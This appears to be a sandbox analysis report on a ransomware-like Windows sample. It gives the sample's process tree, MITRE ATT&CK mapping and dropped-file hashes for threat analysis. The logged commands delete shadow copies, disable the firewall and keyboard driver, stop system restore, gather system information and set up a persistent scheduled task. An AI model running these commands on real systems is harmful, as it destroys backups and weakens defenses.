- Scheduled Task/Job: Scheduled Task
PID:5720
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:4960 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:392
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C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2516
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:5596 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:2988
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:1676 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:5452
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:5232 -
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3872
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:6044 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:1508 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:4820
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:4948 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:4864
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:4308 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:4100
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\crashy.io_hybers.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:5676
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵PID:4196
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C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:4880
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C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:1136
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C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4872
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C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:4732 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:2176
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C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:2364
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:2484
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:5184
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C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x0 /state0:0xa3a37855 /state1:0x41c64e6d1⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2384
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C:\Users\Admin\AppData\Local\Temp\crashy.io_hybers.exeC:\Users\Admin\AppData\Local\Temp\crashy.io_hybers.exe1⤵PID:2904
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3576
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
3Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
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Downloads
- Path C:\ProgramData\invoice_1.pdf
- Size 66KB
- SHA256 eb53b3e3bf96456f6a2dd52611abab64c5297f2397fd6db38d52aac5d1f4b0b3
- MD5 676ef12236efaa74c5d5b9faf14916f3
- SHA1 df3df0b6436c81471313cd472de799f1f8f886f0
- SHA512 109750fee7f053f3ece83d522eb0ae9164f0e651fdcb0651f949b8a001441a467611b6ec748fc16c941b7356f74d92159c19ebe9e2f993f5864274ead065698a
- SSDEEP 1536:l2Rveo0zwn1+7cRMa3EJSCr8Ma+U9EVOZIWoXvcCsRSk94hFd8E1TReD:lgvQzwnA81EcMa3UXUtSd8E1TQ
- TLSH T1A0631A378A23FCC5677F3D40F16429860C883A278771666CFFC90E9939A5584EF2D998
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 66KB
- SHA256 09a70b973e8e07f5609b01114a03e41a0df274511f19e1a1f4d95c876f4708f9
- MD5 ed548f2e97e0f1876128f44623f1ef44
- SHA1 50a472abd8c183917e7fd6551d7b18cd7e9cdf78
- SHA512 69aebde17fc72e89a4d9f18c7ce3ba7ab0e4b98b604ba331a1f21bf85118f914cc6bee7dbffb4842c3e16da8cabe8b6cf9d36b474af28ae48c8c841399d6a864
- SSDEEP 1536:F2Rveo0zwn1+7cRMa3EJSCr8Ma+U9EVOZIWoXvcCsRSk94hFd8E1TRea:FgvQzwnA81EcMa3UXUtSd8E1TL
- TLSH T165632A378A23FCC5677F3D40F16429860C883A2B8771666CFFC90E9939A5584DF2D998
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\crashy.io_hybers.exe.log
- Size 660B
- SHA256 0e692bcbba51ca4e766a427c9f28a7a4a9e326d2cf835493e57a9dc2121326b5
- MD5 284393596fdd49bebd7b861bf339b82d
- SHA1 a36767dfc423b3c7fd3ff439b616862743a053c8
- SHA512 8d3247ee0c3bf9a9fceea23eb5c646dbd8b3d954f4d62622f49070629e642d6a13bfb0d27949e2355c081d45f5a1101f05a9972782a0f0a478ed90f551d2efeb
- TLSH T1BD0144703376A0D889263F820C2E52C857BF433AA150AD18B998628DED3601B6B212E7
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_51gglh1o.rbr.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 241B
- SHA256 a4a339df716dc09d74ab1e2ac9aba0e41568f9cb310f4707b0993b2babad52f5
- MD5 de3e3926f8f6c8e33cddc5f78b05bfb4
- SHA1 70e5ed43e03d5137cec74c6bb6faff9e9ba9b4f8
- SHA512 724c326ccfd6b57230530b34dade5ac8102eaa3d223c8acfab6189a9223fd459d847c4ca6a0eb1699fcd54b0b0162decec6fbd64308690e7a950f263c8a22279
- TLSH T1E0D0A79FB149C6A90001527B81F3CE4DD5E549693B17BE706AA5DD4E329088989F6443
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 242B
- SHA256 3e293dd5d9983c6a782e421a7c20753d23cabbbee5aa8b325878b240858860be
- MD5 7537212efb781fff08568ca48ff753eb
- SHA1 19584b885801afe6a47aa3a393e48db2b01c53ee
- SHA512 6af83c133e81637a187ac74f68e191ad2a890e66041d4c7f56766c69e535db4d60163e1fa31c51c669f9976daa573e964971ee3a8c18f6bd9ce5ca2b49f4f9ad
- TLSH T160D0A79FB149C6A90001527B80F3CE4DD6E64A693B17BE70AAA5DD4F328088989F6443
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\System32\sysupdate.exe
- Size 49KB
- SHA256 b795c88267c9921dc8a67be0e72a0dc98333679b0686af26b0cf87397b23d26c
- MD5 018716e886db944de95a22b46b7f93ba
- SHA1 ef3e45865b8156e464d25a90ee7d490d18037131
- SHA512 d978bbc861b9c909f30f61d399f41be6fb03b4fc5c0c3614204446ecfc174d2bf8290938a01ed7ee451270da94fee3848afcba631f6007c443c648822efeb1f1
- SSDEEP 768:JrVZZ6zs0htPkQUrnkUT2kqB/NaPzfX/fBr4E:BZ6HhNDBmP/fBr4E
- TLSH T10233064937EE4522D1BF8ABE89B251118731F463DC23D74E1AD9459E09F3B00CDA8B6B
- MD5 SHA1 SHA512 SSDEEP TLSH